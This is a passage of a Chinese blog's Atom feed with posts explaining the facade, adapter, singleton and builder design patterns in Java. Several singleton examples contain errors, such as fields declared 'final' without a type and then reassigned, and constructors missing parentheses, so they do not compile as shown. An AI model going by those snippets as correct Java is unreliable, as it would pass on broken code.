    <summary>描述 桥接（Bridge）是用于把抽象化与实现化解耦，使得二者可以独立变化。这种类型的设计模式属于结构型模式，它通过提供抽象化和实现化之间的桥接结构，来实现二者的解耦。 这种模式涉及到一个作为桥接的接口，使得实体类的功能独立于接口实现类。这两种类型的类可被结构化改变而互不影响。例子：总共又长方形、正方形、三角形、圆形四……</summary>
    <title>设计模式 结构型模式 桥接模式</title>
    <updated>2021-05-04T06:21:49.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="设计模式" scheme="https://blog.chuncui.icu/categories/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <category term="设计模式" scheme="https://blog.chuncui.icu/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <content>
      <![CDATA[<h3 id="描述"><a href="#描述" class="headerlink" title="描述"></a>描述</h3><p>外观模式属于结构型模式的一种,当子系统的方法众多,可以引用外观模式在外观类将子方法的方法封装起来,外观类提供简单的api方法。外观类的方法屏蔽掉了复杂的api调用</p><h3 id="类图"><a href="#类图" class="headerlink" title="类图"></a>类图</h3><p>下图为外观模式类图\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1586160133719.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h3 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">public class SubMethod1 &#123;</span><br><span class="line">    public void method1()&#123;</span><br><span class="line">        System.out.println(&quot;子系统中类1的方法1&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">public class SubMethod2 &#123;</span><br><span class="line">     public void method2()&#123;</span><br><span class="line">         System.out.println(&quot;子系统中类2方法2&quot;);</span><br><span class="line">     &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">public class SubMethod3 &#123;</span><br><span class="line">    public void method3()&#123;</span><br><span class="line">        System.out.println(&quot;子系统类3方法3&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">public class Facader &#123;</span><br><span class="line">    private SubMethod1 sm1 = new SubMethod1();</span><br><span class="line">    private SubMethod2 sm2 = new SubMethod2();</span><br><span class="line">    private SubMethod3 sm3 = new SubMethod3();</span><br><span class="line">    public void facMethod1()&#123;</span><br><span class="line">        sm1.method1();</span><br><span class="line">        sm2.method2();</span><br><span class="line">    &#125;</span><br><span class="line">    public void facMethod2()&#123;</span><br><span class="line">        sm2.method2();</span><br><span class="line">        sm3.method3();</span><br><span class="line">        sm1.method1();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">public class Clienter &#123;</span><br><span class="line"></span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        Facader face = new Facader();</span><br><span class="line">        face.facMethod1();</span><br><span class="line">//        face.facMethod2();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>优点<br>外观模式的优点<br>对客户屏蔽子系统组件，减少了客户处理的对象数目并使得子系统使用起来更加容易。通过引入外观模式，客户代码将变得很简单，与之关联的对象也很少。<br>实现了子系统与客户之间的松耦合关系，这使得子系统的组件变化不会影响到调用它的客户类，只需要调整外观类即可。<br>降低了大型软件系统中的编译依赖性，并简化了系统在不同平台之间的移植过程，因为编译一个子系统一般不需要编译所有其他的子系统。一个子系统的修改对其他子系统没有任何影响，而且子系统内部变化也不会影响到外观对象。<br>只是提供了一个访问子系统的统一入口，并不影响用户直接使用子系统类。</li><li>缺点<br>外观模式的缺点<br>不能很好地限制客户使用子系统类，如果对客户访问子系统类做太多的限制则减少了可变性和灵活性。<br>在不引入抽象外观类的情况下，增加新的子系统可能需要修改外观类或客户端的源代码，违背了“开闭原则”。</li></ul><p>自己总结<br>优点：</p><ol><li>功能调用子系统的方法太多,不好维护使用外观模式来屏蔽复杂子系统方法的调用,代码更简单</li><li>子类和使用者之间体现了松耦合的关系,修改功能只需要修改外观类即可<br>缺点:<br>如果使用太多子系统的方法,会使外观类不好维护,可变性灵活性下降</li></ol>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/08/19/%E3%80%90%E7%BB%93%E6%9E%84%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%20%E5%A4%96%E8%A7%82%E6%A8%A1%E5%BC%8F/</id>
    <link href="https://blog.chuncui.icu/2020/08/19/%E3%80%90%E7%BB%93%E6%9E%84%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%20%E5%A4%96%E8%A7%82%E6%A8%A1%E5%BC%8F/"/>
    <published>2020-08-19T13:12:31.000Z</published>
    <summary>描述外观模式属于结构型模式的一种,当子系统的方法众多,可以引用外观模式在外观类将子方法的方法封装起来,外观类提供简单的api方法。外观类的方法屏蔽掉了复杂的api调用 类图下图为外观模式类图 代码12345public class SubMethod1 { public void method1(){ System.o……</summary>
    <title>设计模式 结构型模式 外观模式</title>
    <updated>2021-05-04T06:22:25.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="设计模式" scheme="https://blog.chuncui.icu/categories/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <category term="设计模式" scheme="https://blog.chuncui.icu/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <content>
      <![CDATA[<h3 id="描述"><a href="#描述" class="headerlink" title="描述"></a>描述</h3><p>适配器模式属于结构性模式,将适配类的api转化为目标类的api,如mac电脑使用的是typec的接口,连接显示器需要hdmi接口。我们要使用mac连接显示器,需要使用扩展坞,这其实就是适配器模式。</p><h3 id="类图"><a href="#类图" class="headerlink" title="类图"></a>类图</h3><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1586158261596.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h3 id="分类"><a href="#分类" class="headerlink" title="分类"></a>分类</h3><ul><li>类适配<br>是基于继承实现的</li><li>对象适配<br>使用组合方式实现,更加灵活</li></ul><h3 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">public class MacInterface &#123;</span><br><span class="line">        public void typeC()&#123;</span><br><span class="line">            System.out.println(&quot;type 已经连接..&quot;);</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">public interface Monitor &#123;</span><br><span class="line"></span><br><span class="line">     void hdml();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li><p>类适配</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">public class ExtendUtil extends MacInterface implements Monitor &#123;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    public void hdml() &#123;</span><br><span class="line">        super.typeC();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>对象适配</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public class ExtendUtilV2 implements Monitor&#123;</span><br><span class="line">    private MacInterface macInterface;</span><br><span class="line">    public ExtendUtilV2()&#123;</span><br><span class="line">        macInterface =new MacInterface();</span><br><span class="line">    &#125;</span><br><span class="line">    @Override</span><br><span class="line">    public void hdml() &#123;</span><br><span class="line">        macInterface.typeC();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>测试代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public class Main  &#123;</span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        // 类适配模式</span><br><span class="line">        ExtendUtil extendUtil =new ExtendUtil();</span><br><span class="line">        extendUtil.hdml();</span><br><span class="line">        // 对象适配模式</span><br><span class="line">        ExtendUtilV2 extendUtilV2 =new ExtendUtilV2();</span><br><span class="line">        extendUtilV2.hdml();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1586158475272.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 2 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure></li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li>优点</li></ul><ol><li>复用性好,可以适配系统中已经存在的方法,无需重写</li><li>扩展性好,可以在适配类中添加想要适配的方法</li></ol><ul><li>缺点</li></ul><ol><li>系统中一旦适配类变多则导致系统代码混乱。代码晦涩难懂</li></ol>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/08/15/%E3%80%90%E7%BB%93%E6%9E%84%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%20%E9%80%82%E9%85%8D%E5%99%A8%E6%A8%A1%E5%BC%8F/</id>
    <link href="https://blog.chuncui.icu/2020/08/15/%E3%80%90%E7%BB%93%E6%9E%84%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%20%E9%80%82%E9%85%8D%E5%99%A8%E6%A8%A1%E5%BC%8F/"/>
    <published>2020-08-15T10:12:31.000Z</published>
    <summary>描述 适配器模式属于结构性模式,将适配类的api转化为目标类的api,如mac电脑使用的是typec的接口,连接显示器需要hdmi接口。我们要使用mac连接显示器,需要使用扩展坞,这其实就是适配器模式。 类图 分类 类适配是基于继承实现的 对象适配使用组合方式实现,更加灵活代码123456public class Ma……</summary>
    <title>设计模式 结构型模式 适配器模式</title>
    <updated>2021-05-04T06:22:09.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="设计模式" scheme="https://blog.chuncui.icu/categories/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <category term="设计模式" scheme="https://blog.chuncui.icu/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <content>
      <![CDATA[<h3 id="描述"><a href="#描述" class="headerlink" title="描述"></a>描述</h3><p>单例模式对于开发人员来讲并不陌生通过单利模式可以控制应用程序中,只有一个对象的实例,分为饿汉式和懒汉式.饿汉式在类加载的时候就初始化,懒汉模式拥有延迟加载的思想,在使用的时候创建。实现单例模式的思想就是私有构造方法。通过getInstance()方法获取对应实例\</p><h3 id="饿汉式"><a href="#饿汉式" class="headerlink" title="饿汉式"></a>饿汉式</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public class Singleton&#123;</span><br><span class="line"> private static final Singleton singleton =new Singleton();</span><br><span class="line">private Singleton&#123;</span><br><span class="line"> &#125;</span><br><span class="line"> public static Singleton getInstance()&#123;</span><br><span class="line"> return singleton;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="懒汉式"><a href="#懒汉式" class="headerlink" title="懒汉式"></a>懒汉式</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">public class Singleton&#123;</span><br><span class="line"> private static final singleton = null;</span><br><span class="line">private Singleton&#123;</span><br><span class="line"> &#125;</span><br><span class="line">  private Singleton&#123;</span><br><span class="line">  &#125;</span><br><span class="line">public static Singleton getInstance()&#123;</span><br><span class="line">if(null==singleton)&#123;</span><br><span class="line"> singleton =new Singleton();</span><br><span class="line">&#125;</span><br><span class="line">return singleton;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上面的实现方式在多线程的环境下是线程不安全的,下面来个线程安全的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">public class Singleton&#123;</span><br><span class="line">// volatile 保证每次都从主内存中取,不会在工作线程内存中取,效率不高</span><br><span class="line"> private static volatile final singleton = null;</span><br><span class="line">  private Singleton&#123;</span><br><span class="line">  &#125;</span><br><span class="line">public static Singleton getInstance()&#123;</span><br><span class="line">if(null==singleton)&#123;</span><br><span class="line">   //双重锁检查</span><br><span class="line">   synchronized(Singleton.class) &#123;</span><br><span class="line">    if(null==singleton)&#123;</span><br><span class="line">         singleton =new Singleton();</span><br><span class="line">    &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">return singleton;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是利用jvm加载静态内部类的方式实现单例模式.jvm初始化类</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">public class Singleton&#123;</span><br><span class="line">  private static class SingletonHodle&#123;</span><br><span class="line">   private static Singleton singleton =new Singleton();</span><br><span class="line">public static getInstance()&#123;</span><br><span class="line">// 保证jvm加载SingletonHodle初始Singleton实例</span><br><span class="line">return SingletonHodle.singleton;</span><br><span class="line">  &#125;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用枚举实现单子例模式</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">public enum Singleton &#123;</span><br><span class="line">    uniqueInstance;// 定义一个枚举的元素，它就代表了Singleton的一个实例,因为枚举在编译成class文件,对应的属性就是 static final的保证了jvm初始化类的时候只能生成一个实例</span><br><span class="line">    public void singletonOperation() &#123;</span><br><span class="line">        // 功能处理</span><br><span class="line">        System.err.println(&quot;功能处理&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="破快单利模式的三种方式"><a href="#破快单利模式的三种方式" class="headerlink" title="破快单利模式的三种方式"></a>破快单利模式的三种方式</h3><ul><li>序列化</li><li>反射</li><li>clone</li></ul><h3 id="如何避免单利模式被破快"><a href="#如何避免单利模式被破快" class="headerlink" title="如何避免单利模式被破快"></a>如何避免单利模式被破快</h3><ul><li>序列化<br>增加readResolve()方法,返回实例对象</li><li>反射<br>创建标志位,is_create标志,如果is_create&#x3D;true 则抛异常</li><li>clone<br>重写clone方法,返回对应的instance</li></ul><h3 id="jdk的实现"><a href="#jdk的实现" class="headerlink" title="jdk的实现"></a>jdk的实现</h3><p>我们 JDK 中，java.lang.Runtime 就是经典的单例模式(饿汉式)</p>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/08/02/%E3%80%90%E5%88%9B%E5%BB%BA%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%E5%8D%95%E4%BE%8B%E6%A8%A1%E5%BC%8F/</id>
    <link href="https://blog.chuncui.icu/2020/08/02/%E3%80%90%E5%88%9B%E5%BB%BA%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%E5%8D%95%E4%BE%8B%E6%A8%A1%E5%BC%8F/"/>
    <published>2020-08-02T10:16:31.000Z</published>
    <summary>描述 单例模式对于开发人员来讲并不陌生通过单利模式可以控制应用程序中,只有一个对象的实例,分为饿汉式和懒汉式.饿汉式在类加载的时候就初始化,懒汉模式拥有延迟加载的思想,在使用的时候创建。实现单例模式的思想就是私有构造方法。通过getInstance()方法获取对应实例 饿汉式12345678public class S……</summary>
    <title>设计模式 创建型模式 单例模式</title>
    <updated>2021-05-04T06:21:08.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="设计模式" scheme="https://blog.chuncui.icu/categories/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <category term="设计模式" scheme="https://blog.chuncui.icu/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <content>
      <![CDATA[<h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>1、定义：将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示<br>2、主要作用：在用户不知道对象的建造过程和细节的情况下就可以直接创建复杂的对象。<br>3、如何使用：用户只需要给出指定复杂对象的类型和内容，建造者模式负责按顺序创建复杂对象（把内部的建造过程和细节隐藏起来）<br>4、解决的问题：<br>（1）、方便用户创建复杂的对象（不需要知道实现过程）<br>（2）、代码复用性 &amp; 封装性（将对象构建过程和细节进行封装 &amp; 复用）<br>5、注意事项：与工厂模式的区别是：建造者模式更加关注与零件装配的顺序，一般用来创建更为复杂的对象</p><h3 id="实现方式"><a href="#实现方式" class="headerlink" title="实现方式"></a>实现方式</h3><h3 id="代码实现"><a href="#代码实现" class="headerlink" title="代码实现"></a>代码实现</h3><ul><li><p>抽象建造者（builder）：描述具体建造者的公共接口，一般用来定义建造细节的方法，并不涉及具体的对象部件的创建。</p></li><li><p>具体建造者（ConcreteBuilder）：描述具体建造者，并实现抽象建造者公共接口。</p></li><li><p>指挥者（Director）：调用具体建造者来创建复杂对象（产品）的各个部分，并按照一定顺序（流程）来建造复杂对象。</p></li><li><p>产品（Product）：描述一个由一系列部件组成较为复杂的对象。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * Builder.java</span><br><span class="line"> *  建造者</span><br><span class="line"> */</span><br><span class="line">abstract class Builder &#123;</span><br><span class="line">    //地基</span><br><span class="line">    abstract void bulidA();</span><br><span class="line">    //钢筋工程</span><br><span class="line">    abstract void bulidB();</span><br><span class="line">    //铺电线</span><br><span class="line">    abstract void bulidC();</span><br><span class="line">    //粉刷</span><br><span class="line">    abstract void bulidD();</span><br><span class="line">    //完工-获取产品</span><br><span class="line">    abstract Product getProduct();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * Product.java</span><br><span class="line"> *  产品（房子）</span><br><span class="line"> */</span><br><span class="line">public class Product &#123;</span><br><span class="line">    private String buildA;</span><br><span class="line">    private String buildB;</span><br><span class="line">    private String buildC;</span><br><span class="line">    private String buildD;</span><br><span class="line">    public String getBuildA() &#123;</span><br><span class="line">        return buildA;</span><br><span class="line">    &#125;</span><br><span class="line">    public void setBuildA(String buildA) &#123;</span><br><span class="line">        this.buildA = buildA;</span><br><span class="line">    &#125;</span><br><span class="line">    public String getBuildB() &#123;</span><br><span class="line">        return buildB;</span><br><span class="line">    &#125;</span><br><span class="line">    public void setBuildB(String buildB) &#123;</span><br><span class="line">        this.buildB = buildB;</span><br><span class="line">    &#125;</span><br><span class="line">    public String getBuildC() &#123;</span><br><span class="line">        return buildC;</span><br><span class="line">    &#125;</span><br><span class="line">    public void setBuildC(String buildC) &#123;</span><br><span class="line">        this.buildC = buildC;</span><br><span class="line">    &#125;</span><br><span class="line">    public String getBuildD() &#123;</span><br><span class="line">        return buildD;</span><br><span class="line">    &#125;</span><br><span class="line">    public void setBuildD(String buildD) &#123;</span><br><span class="line">        this.buildD = buildD;</span><br><span class="line">    &#125;</span><br><span class="line">    @Override</span><br><span class="line">        public String toString() &#123;</span><br><span class="line">            return buildA+&quot;\n&quot;+buildB+&quot;\n&quot;+buildC+&quot;\n&quot;+buildD+&quot;\n&quot;+&quot;房子验收完成&quot;;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * ConcreteBuilder.java</span><br><span class="line"> *  具体建造者(工人)</span><br><span class="line"> */</span><br><span class="line">public class ConcreteBuilder extends Builder&#123;</span><br><span class="line">    private Product product;</span><br><span class="line">    public ConcreteBuilder() &#123;</span><br><span class="line">        product = new Product();</span><br><span class="line">    &#125;</span><br><span class="line">    @Override</span><br><span class="line">    void bulidA() &#123;</span><br><span class="line">        product.setBuildA(&quot;地基&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">    @Override</span><br><span class="line">    void bulidB() &#123;</span><br><span class="line">        product.setBuildB(&quot;钢筋工程&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">    @Override</span><br><span class="line">    void bulidC() &#123;</span><br><span class="line">        product.setBuildC(&quot;铺电线&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">    @Override</span><br><span class="line">    void bulidD() &#123;</span><br><span class="line">        product.setBuildD(&quot;粉刷&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">    @Override</span><br><span class="line">    Product getProduct() &#123;</span><br><span class="line">        return product;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * Director.java</span><br><span class="line"> *  指挥者</span><br><span class="line"> */</span><br><span class="line">public class Director &#123;</span><br><span class="line">    //指挥工人按顺序造房</span><br><span class="line">    public Product create(Builder builder) &#123;</span><br><span class="line">        builder.bulidA();</span><br><span class="line">        builder.bulidB();</span><br><span class="line">        builder.bulidC();</span><br><span class="line">        builder.bulidD();</span><br><span class="line">        return builder.getProduct();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * Test.java</span><br><span class="line"> *  测试类</span><br><span class="line"> */</span><br><span class="line">public class Test &#123;</span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        Director director = new Director();</span><br><span class="line">        Product create = director.create(new ConcreteBuilder());</span><br><span class="line">        System.out.println(create.toString());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ol><li>Builder 抽象类定义构建的方法</li><li>具体实现类实现Builder相关的方法-叫具体建造者</li><li>指挥者操作操作具体建造者按照顺序创建对象</li><li>产品类有大量属性</li></ol><h4 id="优点"><a href="#优点" class="headerlink" title="优点"></a>优点</h4><ul><li>按照顺序创建对象</li><li>创建代码可读性好</li><li>隐藏对象大量属性,可以设置一些属性的默认值</li></ul><h4 id="缺点"><a href="#缺点" class="headerlink" title="缺点"></a>缺点</h4><ul><li>代码冗余</li><li>具体建造者内部代码复杂,代码可读性差</li></ul><h4 id="具体实现"><a href="#具体实现" class="headerlink" title="具体实现"></a>具体实现</h4><ul><li><p>protobuf生成的实体类</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">SimpleRequest.Builder builder = SimpleRequest.newBuilder();</span><br><span class="line">builder.setId(12341);</span><br><span class="line">builder.setName(&quot;你好&quot;);</span><br><span class="line">SimpleRequest request = builder.build();</span><br></pre></td></tr></table></figure></li></ul>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/07/25/%E3%80%90%E5%88%9B%E5%BB%BA%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%20%E5%88%9B%E5%BB%BA%E8%80%85%E6%A8%A1%E5%BC%8F/</id>
    <link href="https://blog.chuncui.icu/2020/07/25/%E3%80%90%E5%88%9B%E5%BB%BA%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%20%E5%88%9B%E5%BB%BA%E8%80%85%E6%A8%A1%E5%BC%8F/"/>
    <published>2020-07-25T06:16:31.000Z</published>
